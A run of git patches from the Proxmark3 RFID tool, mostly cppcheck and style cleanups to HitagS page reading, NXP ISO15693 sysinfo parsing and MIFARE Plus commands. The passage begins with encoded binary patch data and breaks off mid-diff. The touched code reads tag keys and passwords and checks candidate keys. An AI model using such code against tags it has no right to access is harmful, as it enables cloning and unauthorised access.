zuCK55gd12`G^n1GzU%PK6<-|uOzL;*mplXE3ME{!6i+@@kG<;6&qr_8zbH?pZm6$% zrYKZAL*A1s-9@D~!S{GCtXnE0{6cq;r(Yy4QmY|tV8mpNlh||WQ>on{Z%VK8d8Eh2*CrOL{ct&~0|FSwW?7=~};gTXIRH zVs$`}x7ka~3a8j-LWM9{N_|;?qM>FOipEb$O+MNqNJ`r_O~FFeM#Yt&L21WKv-DjU zdrD(#vqTon4)m+^q&Tj_j((wjv9X#^8dv%p2mvxhkh^lJ6o4Ll;88w{zbPLpVpQ*zOag) zd=yVg-(@!Rn223_i{C%A#J;<)_~hG(Q@3{R@Z(yovnvlmTVB)FwE@B1D`>f*;N!Lg6aMImMRZJLcWgSFY- z(M1;vrMI{dQl=}Zt-VNaissNIVmS73xhyyul#)ND>#L2YEzqB`;I}bS@GfqqMe<_7 zYh!7SNYQq>ma61M!jSqZaz6T=xa=Wy(e^rMdND5hPt=PXbTA1tR{{461y?mu-{r&T zg@W{KucN&uE_)t|^xo62^_1cGqW6@(%Q5=3I{GLrx>)G(zN?QaX_d56M!j~i;Jt?W zfN>Y%vj3#m#sQu#z-1qxAvi@$(QY;vjz3nv=$VTIx7cUxX7NS&VCuub<%@)3oBoe3 zz;_?$l`vME!}rAHh5F@S?03leRAs$(&qadt`a>U085IA1t^7qoaSrQH_1=E$Pqiv(GmL(O40E}Iik1ZeMxdXb~`F&r}rD_mY6$kKN? zz5R>ofWnL3Lny6Rz!wXy`B1<|x)7IrfQI0G73{_*^xt-lPhG#P`eMN;jjQh>2=GC{ zExw2tj%!P}yg*o0YVv{N@u-|A^5QIuELKSEOrJb1N2|X;t8qBSDQfjjBJ(C`ofy2_5 z@IwD1d6RW4*jp-|jwjyd{dSSFsIrWuoUPQr+m%0NaW8i)*woje z9uqzA+u-OMYLT60DffJoFL-w0|6cmYBj1!4KD^-nZLKNnZw&Rb?(^r*yDVKSsGq<0kGjwQmG@h} zvQ6>L|DUv3pv%5eE5Yv%E!5?bLn#qID7W#q77Jyi<^nGN^WN_vexd&CeJblGq7feRO_u>ZvWF8|5J!hhK|e#hQdKv}=W3!J2$kH2rDU;p6OGw|yf z`1K6@dIo+y1HYbuU(dk*k7q#nOK_OrFFEfy4LZ4Q#PnlF@7d-*@er@kDMHD}f1>TL zY9cgeNY<5OS--07ulgDK!|(ZD?hpMJn;+GmH~9g*=mXe4AJn)$sQrWYxR{^+ zWxe>I_Rj}3KmR4)^8xIiU)!HwWetg!{R6SjAJqO~v-)4j{(MmL^Fi4k^yk<3^((gY t|IGeLs$#weS0+hnc(tA+r|MUHh5w^s`-&uG`S-Z$0RKHyPD>SA{=f6eg$V!v From 181573078386bd50a85ea482a6c43c3e512d5854 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:54:10 +0100 Subject: [PATCH 204/418] style --- armsrc/fpgaloader.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 6f27c10ee..c91fb3315 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -20,12 +20,12 @@ // definitions for multiple FPGA config files support #define FPGA_BITSTREAM_LF 1 #define FPGA_BITSTREAM_HF 2 -//#define FPGA_BITSTREAM_FELICA 3 // Definitions for the FPGA commands. #define FPGA_CMD_SET_CONFREG (1<<12) #define FPGA_CMD_SET_DIVISOR (2<<12) #define FPGA_CMD_SET_USER_BYTE1 (3<<12) + // Definitions for the FPGA configuration word. // LF #define FPGA_MAJOR_MODE_LF_READER (0<<5) @@ -43,18 +43,22 @@ #define FPGA_MAJOR_MODE_OFF_LF (6<<5) #define FPGA_MAJOR_MODE_OFF (7<<5) -// Options for LF_ADC +// Options for LF_READER #define FPGA_LF_ADC_READER_FIELD (1<<0) + // Options for LF_EDGE_DETECT #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 #define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) #define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) + // Options for the HF reader, tx to tag #define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) + // Options for the HF reader, correlating against rx from tag #define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) #define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) #define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2) + // Options for the HF simulated tag, how to modulate #define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000 #define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001 From 3e90f831ffc17f64d88df4ce1bd1fa1314ed41d0 Mon Sep 17 00:00:00 2001 From: Thorsten Bosbach Date: Wed, 1 Jan 2020 21:15:40 +0100 Subject: [PATCH 205/418] changelog entry + print load file content --- CHANGELOG.md | 1 + armsrc/hitagS.c | 52 +++++++++++++++++++++++++++---------------------- 2 files changed, 30 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ee2468215..258887ca2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -398,6 +398,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) - Add `script run luxeodump` (@0xdrrb) + - Fix `lf hitag reader 02` - print all bytes (@bosb) ### Fixed diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 9d86be616..c4a4a48cb 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -953,6 +953,12 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { tag.max_page = 8; if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0) tag.max_page = 0; + for (i = 0; i < tag.max_page; i++) + Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, + (tag.pages[i][3]) & 0xff, + (tag.pages[i][2]) & 0xff, + (tag.pages[i][1]) & 0xff, + tag.pages[i][0] & 0xff); //con1 tag.auth = 0; if ((tag.pages[1][2] & 0x80) == 0x80) @@ -1145,7 +1151,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { int reset_sof = 1; int t_wait = HITAG_T_WAIT_MAX; bool bStop = false; - int sendNum = 0; + int pageNum = 0; unsigned char mask = 1; unsigned char crc; unsigned char pageData[32]; @@ -1265,10 +1271,10 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { tag.tstate = HT_READING_PAGE; txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_READING_PAGE @@ -1284,14 +1290,14 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { } } k = 0; - for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF + for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF (actualy 1 or 6 depending on response protocol) pageData[k] = response_bit[i]; k++; } for (i = 0; i < 4; i++) // set page bytes to 0 - tag.pages[sendNum][i] = 0x0; + tag.pages[pageNum][i] = 0x0; for (i = 0; i < 4; i++) { // set page bytes from recieved bits - tag.pages[sendNum][i] += ((pageData[i * 8] << 7) + tag.pages[pageNum][i] += ((pageData[i * 8] << 7) | (pageData[1 + (i * 8)] << 6) | (pageData[2 + (i * 8)] << 5) | (pageData[3 + (i * 8)] << 4) @@ -1300,22 +1306,22 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { | (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]); } - if (tag.auth && tag.LKP && sendNum == 1) { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, - (tag.pages[sendNum][2]) & 0xff, - (tag.pages[sendNum][1]) & 0xff, - tag.pages[sendNum][0] & 0xff); + if (tag.auth && tag.LKP && pageNum == 1) { + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } else { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, - (tag.pages[sendNum][3]) & 0xff, - (tag.pages[sendNum][2]) & 0xff, - (tag.pages[sendNum][1]) & 0xff, - tag.pages[sendNum][0] & 0xff); + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, + (tag.pages[pageNum][3]) & 0xff, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } - sendNum++; + pageNum++; //display key and password if possible - if (sendNum == 2 && tag.auth == 1 && tag.LKP) { + if (pageNum == 2 && tag.auth == 1 && tag.LKP) { if (htf == RHTSF_KEY) { Dbprintf("Page[ 2]: %02X %02X %02X %02X", (uint8_t)(key >> 8) & 0xff, @@ -1338,12 +1344,12 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; - if (sendNum >= tag.max_page) { + if (pageNum >= tag.max_page) { bStop = !false; } } From e50c2f00ccda2e28c1f9d6bf5ef18bd79ea520fa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 21:19:59 +0100 Subject: [PATCH 206/418] cppcheck --- client/cmdhf15.c | 60 ++++++++++++++++++++++++------------------------ 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index c2bd777e3..559c48709 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -218,6 +218,8 @@ uint8_t nxp_public_keys[][33] = { }, }; +static int CmdHF15Help(const char *Cmd); + // fast method to just read the UID of a tag (collision detection not supported) // *buf should be large enough to fit the 64bit uid // returns 1 if succeeded @@ -306,8 +308,6 @@ static const char *TagErrorStr(uint8_t error) { } } -static int CmdHF15Help(const char *Cmd); - static int usage_15_demod(void) { PrintAndLogEx(NORMAL, "Tries to demodulate / decode ISO15693, from downloaded samples.\n" "Gather samples with 'hf 15 read' / 'hf 15 record'"); @@ -683,41 +683,41 @@ static int NxpSysInfo(uint8_t *uid) { return PM3_EWRONGANSVER; } - bool signature = false; - bool easmode = false; - + bool support_signature = (recv[5] & 0x01); + bool support_easmode = (recv[4] & 0x03); + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " NXP SYSINFO : %s", sprint_hex(recv, 8)); PrintAndLogEx(NORMAL, " Password protection configuration:"); - PrintAndLogEx(NORMAL, " * Page L read%s password protected", (recv[2] & 0x01 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Page L write%s password protected", (recv[2] & 0x02 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Page H read%s password protected", (recv[2] & 0x08 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Page H write%s password protected", (recv[2] & 0x20 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page L read%s password protected", ((recv[2] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page L write%s password protected", ((recv[2] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H read%s password protected", ((recv[2] & 0x08) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H write%s password protected", ((recv[2] & 0x20) ? "" : " not")); PrintAndLogEx(NORMAL, " Lock bits:"); - PrintAndLogEx(NORMAL, " * AFI%s locked", (recv[3] & 0x01 ? "" : " not")); // AFI lock bit - PrintAndLogEx(NORMAL, " * EAS%s locked", (recv[3] & 0x02 ? "" : " not")); // EAS lock bit - PrintAndLogEx(NORMAL, " * DSFID%s locked", (recv[3] & 0x03 ? "" : " not")); // DSFID lock bit - PrintAndLogEx(NORMAL, " * Password protection configuration%s locked", (recv[3] & 0x04 ? "" : " not")); // Password protection pointer address and access conditions lock bit + PrintAndLogEx(NORMAL, " * AFI%s locked", ((recv[3] & 0x01) ? "" : " not")); // AFI lock bit + PrintAndLogEx(NORMAL, " * EAS%s locked", ((recv[3] & 0x02) ? "" : " not")); // EAS lock bit + PrintAndLogEx(NORMAL, " * DSFID%s locked", ((recv[3] & 0x03) ? "" : " not")); // DSFID lock bit + PrintAndLogEx(NORMAL, " * Password protection configuration%s locked", ((recv[3] & 0x04) ? "" : " not")); // Password protection pointer address and access conditions lock bit PrintAndLogEx(NORMAL, " Features:"); - PrintAndLogEx(NORMAL, " * User memory password protection%s supported", (recv[4] & 0x01 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Counter feature%s supported", (recv[4] & 0x02 ? "" : " not")); - PrintAndLogEx(NORMAL, " * EAS ID%s supported by EAS ALARM command", (recv[4] & 0x03 ? "" : " not")); - easmode = (recv[4] & 0x03 ? true : false); - PrintAndLogEx(NORMAL, " * EAS password protection%s supported", (recv[4] & 0x04 ? "" : " not")); - PrintAndLogEx(NORMAL, " * AFI password protection%s supported", (recv[4] & 0x10 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Extended mode%s supported by INVENTORY READ command", (recv[4] & 0x20 ? "" : " not")); - PrintAndLogEx(NORMAL, " * EAS selection%s supported by extended mode in INVENTORY READ command", (recv[4] & 0x40 ? "" : " not")); - PrintAndLogEx(NORMAL, " * READ SIGNATURE command%s supported", (recv[5] & 0x01 ? "" : " not")); - signature = (recv[5] & 0x01 ? true : false); - PrintAndLogEx(NORMAL, " * Password protection for READ SIGNATURE command%s supported", (recv[5] & 0x02 ? "" : " not")); - PrintAndLogEx(NORMAL, " * STAY QUIET PERSISTENT command%s supported", (recv[5] & 0x03 ? "" : " not")); - PrintAndLogEx(NORMAL, " * ENABLE PRIVACY command%s supported", (recv[5] & 0x10 ? "" : " not")); - PrintAndLogEx(NORMAL, " * DESTROY command%s supported", (recv[5] & 0x20 ? "" : " not")); - PrintAndLogEx(NORMAL, " * Additional 32 bits feature flags are%s transmitted", (recv[5] & 0x80 ? "" : " not")); + PrintAndLogEx(NORMAL, " * User memory password protection%s supported", ((recv[4] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Counter feature%s supported", ((recv[4] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS ID%s supported by EAS ALARM command", support_easmode ? "" : " not"); - if (easmode) { + PrintAndLogEx(NORMAL, " * EAS password protection%s supported", ((recv[4] & 0x04) ? "" : " not")); + PrintAndLogEx(NORMAL, " * AFI password protection%s supported", ((recv[4] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Extended mode%s supported by INVENTORY READ command", ((recv[4] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS selection%s supported by extended mode in INVENTORY READ command", ((recv[4] & 0x40) ? "" : " not")); + PrintAndLogEx(NORMAL, " * READ SIGNATURE command%s supported", support_signature ? "" : " not"); + + PrintAndLogEx(NORMAL, " * Password protection for READ SIGNATURE command%s supported", ((recv[5] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * STAY QUIET PERSISTENT command%s supported", ((recv[5] & 0x03) ? "" : " not")); + PrintAndLogEx(NORMAL, " * ENABLE PRIVACY command%s supported", ((recv[5] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * DESTROY command%s supported", ((recv[5] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Additional 32 bits feature flags are%s transmitted", ((recv[5] & 0x80) ? "" : " not")); + + if (support_easmode) { reqlen = 0; req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; req[reqlen++] = ISO15_CMD_EASALARM; @@ -753,7 +753,7 @@ static int NxpSysInfo(uint8_t *uid) { } } - if (signature) { + if (support_signature) { // Check if we can also read the signature reqlen = 0; req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; From 866df868258c2f427493a7f81a4fe23f3281c291 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 21:22:01 +0100 Subject: [PATCH 207/418] cppcheck --- client/cmdhf15.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 559c48709..2e02aff68 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -643,6 +643,7 @@ static int NxpSysInfo(uint8_t *uid) { uint8_t *recv; uint8_t req[PM3_CMD_DATA_SIZE] = {0}; uint16_t reqlen; + uint32_t status; uint8_t arg1 = 1; if (uid != NULL) { @@ -669,7 +670,7 @@ static int NxpSysInfo(uint8_t *uid) { DropField(); - uint32_t status = resp.oldarg[0]; + status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to NXP systeminfo command"); @@ -736,7 +737,7 @@ static int NxpSysInfo(uint8_t *uid) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); } else { - uint32_t status = resp.oldarg[0]; + status = resp.oldarg[0]; PrintAndLogEx(NORMAL, ""); @@ -778,7 +779,7 @@ static int NxpSysInfo(uint8_t *uid) { DropField(); - uint32_t status = resp.oldarg[0]; + status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to READ SIGNATURE command"); From fea3185922d51a3432938010ad269ecf5aa466f7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 21:28:02 +0100 Subject: [PATCH 208/418] cppcheck --- client/emv/emvcore.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/emv/emvcore.c b/client/emv/emvcore.c index c18521b6c..74b78f797 100644 --- a/client/emv/emvcore.c +++ b/client/emv/emvcore.c @@ -490,10 +490,10 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO for (uint8_t ui = 0x01; ui <= 0x10; ui++) { if (sfidatalen[ui]) { - struct tlvdb *tsfi = NULL; - tsfi = tlvdb_parse_multi(sfidata[ui], sfidatalen[ui]); - if (tsfi) { - struct tlvdb *tsfitmp = tlvdb_find_path(tsfi, (tlv_tag_t[]) {0x70, 0x61, 0x00}); + + struct tlvdb *tsfi_a = tlvdb_parse_multi(sfidata[ui], sfidatalen[ui]); + if (tsfi_a) { + struct tlvdb *tsfitmp = tlvdb_find_path(tsfi_a, (tlv_tag_t[]) {0x70, 0x61, 0x00}); if (!tsfitmp) { PrintAndLogEx(FAILED, "SFI 0x%02zu doesn't have any records.", sfidatalen[ui]); continue; @@ -501,7 +501,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO res = EMVCheckAID(channel, decodeTLV, tsfitmp, tlv); fileFound = true; } - tlvdb_free(tsfi); + tlvdb_free(tsfi_a); } } } From 4eb5907637e22924967f212f79ba23ffa053fa2f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 21:32:41 +0100 Subject: [PATCH 209/418] cppcheck --- client/cmdhfmfp.c | 48 +++++++++++++++++++++++------------------------ client/cmdhfmfp.h | 1 - 2 files changed, 24 insertions(+), 25 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index c6d24135c..9c7b9cb3c 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -30,11 +30,13 @@ static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; +uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; + static int CmdHelp(const char *Cmd); -static int CmdHFMFPInfo(const char *cmd) { +static int CmdHFMFPInfo(const char *Cmd) { - if (cmd && strlen(cmd) > 0) + if (Cmd && strlen(Cmd) > 0) PrintAndLogEx(WARNING, "command don't have any parameters.\n"); // info about 14a part @@ -110,7 +112,7 @@ static int CmdHFMFPInfo(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPWritePerso(const char *cmd) { +static int CmdHFMFPWritePerso(const char *Cmd) { uint8_t keyNum[64] = {0}; int keyNumLen = 0; uint8_t key[64] = {0}; @@ -128,7 +130,7 @@ static int CmdHFMFPWritePerso(const char *cmd) { arg_strx0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIGetHexWithReturn(2, keyNum, &keyNumLen); @@ -174,9 +176,7 @@ static int CmdHFMFPWritePerso(const char *cmd) { return PM3_SUCCESS; } -uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; - -static int CmdHFMFPInitPerso(const char *cmd) { +static int CmdHFMFPInitPerso(const char *Cmd) { int res; uint8_t key[256] = {0}; int keyLen = 0; @@ -195,7 +195,7 @@ static int CmdHFMFPInitPerso(const char *cmd) { arg_strx0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); bool verbose2 = arg_get_lit(1) > 1; @@ -250,7 +250,7 @@ static int CmdHFMFPInitPerso(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPCommitPerso(const char *cmd) { +static int CmdHFMFPCommitPerso(const char *Cmd) { CLIParserInit("hf mfp commitp", "Executes Commit Perso command. Can be used in SL0 mode only.", "Usage:\n\thf mfp commitp -> \n"); @@ -261,7 +261,7 @@ static int CmdHFMFPCommitPerso(const char *cmd) { arg_int0(NULL, NULL, "SL mode", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIParserFree(); @@ -291,7 +291,7 @@ static int CmdHFMFPCommitPerso(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPAuth(const char *cmd) { +static int CmdHFMFPAuth(const char *Cmd) { uint8_t keyn[250] = {0}; int keynlen = 0; uint8_t key[250] = {0}; @@ -309,7 +309,7 @@ static int CmdHFMFPAuth(const char *cmd) { arg_str1(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIGetHexWithReturn(2, keyn, &keynlen); @@ -329,7 +329,7 @@ static int CmdHFMFPAuth(const char *cmd) { return MifareAuth4(NULL, keyn, key, true, false, true, verbose, false); } -static int CmdHFMFPRdbl(const char *cmd) { +static int CmdHFMFPRdbl(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -349,7 +349,7 @@ static int CmdHFMFPRdbl(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); int blocksCount = arg_get_int_def(2, 1); @@ -441,7 +441,7 @@ static int CmdHFMFPRdbl(const char *cmd) { return 0; } -static int CmdHFMFPRdsc(const char *cmd) { +static int CmdHFMFPRdsc(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -460,7 +460,7 @@ static int CmdHFMFPRdsc(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); bool keyB = arg_get_lit(2); @@ -537,7 +537,7 @@ static int CmdHFMFPRdsc(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPWrbl(const char *cmd) { +static int CmdHFMFPWrbl(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -558,7 +558,7 @@ static int CmdHFMFPWrbl(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); bool keyB = arg_get_lit(2); @@ -735,7 +735,7 @@ void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyL (*startPattern)++; } -static int CmdHFMFPChk(const char *cmd) { +static int CmdHFMFPChk(const char *Cmd) { int res; uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; size_t keyListLen = 0; @@ -765,7 +765,7 @@ static int CmdHFMFPChk(const char *cmd) { arg_lit0("vV", "verbose", "verbose mode."), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool keyA = arg_get_lit(1); bool keyB = arg_get_lit(2); @@ -965,7 +965,7 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPMAD(const char *cmd) { +static int CmdHFMFPMAD(const char *Cmd) { CLIParserInit("hf mfp mad", "Checks and prints Mifare Application Directory (MAD)", @@ -980,7 +980,7 @@ static int CmdHFMFPMAD(const char *cmd) { arg_lit0("bB", "keyb", "use key B for access printing sectors (by default: key A)"), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); uint8_t aid[2] = {0}; @@ -1059,7 +1059,7 @@ static int CmdHFMFPMAD(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPNDEF(const char *cmd) { +static int CmdHFMFPNDEF(const char *Cmd) { CLIParserInit("hf mfp ndef", "Prints NFC Data Exchange Format (NDEF)", @@ -1074,7 +1074,7 @@ static int CmdHFMFPNDEF(const char *cmd) { arg_lit0("bB", "keyb", "use key B for access sectors (by default: key A)"), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); bool verbose2 = arg_get_lit(1) > 1; diff --git a/client/cmdhfmfp.h b/client/cmdhfmfp.h index 6ba2af504..a26aeab87 100644 --- a/client/cmdhfmfp.h +++ b/client/cmdhfmfp.h @@ -14,5 +14,4 @@ int CmdHFMFP(const char *Cmd); - #endif From 1d9c771a4354e6e76f1896a553ea446f9e51c509 Mon Sep 17 00:00:00 2001 From: Thorsten Bosbach Date: Wed, 1 Jan 2020 22:11:50 +0100 Subject: [PATCH 210/418] guard debug output --- armsrc/hitagS.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index c4a4a48cb..b44bffa45 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -953,12 +953,13 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { tag.max_page = 8; if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0) tag.max_page = 0; - for (i = 0; i < tag.max_page; i++) - Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, - (tag.pages[i][3]) & 0xff, - (tag.pages[i][2]) & 0xff, - (tag.pages[i][1]) & 0xff, - tag.pages[i][0] & 0xff); + if (DBGLEVEL >= DBG_EXTENDED) + for (i = 0; i < tag.max_page; i++) + Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, + (tag.pages[i][3]) & 0xff, + (tag.pages[i][2]) & 0xff, + (tag.pages[i][1]) & 0xff, + tag.pages[i][0] & 0xff); //con1 tag.auth = 0; if ((tag.pages[1][2] & 0x80) == 0x80) From 608d38c4b58daa1e4b6d51bc6c02ca182a323ca8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 22:13:24 +0100 Subject: [PATCH 211/418] cppcheck --- armsrc/felica.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/armsrc/felica.c b/armsrc/felica.c index 1a3b6f6ac..4b1db7f61 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -409,6 +409,8 @@ bool WaitForFelicaReply(uint16_t maxbytes) { // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + (void)b; + uint32_t timeout = iso18092_get_timeout(); for (;;) { From 9fac23567be04ffceaaa61891fff530e2b40e0fa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 22:44:50 +0100 Subject: [PATCH 212/418] cppcheck --- armsrc/lfops.c | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 94f7ece2a..c4cd6eaa4 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -1269,10 +1269,7 @@ void 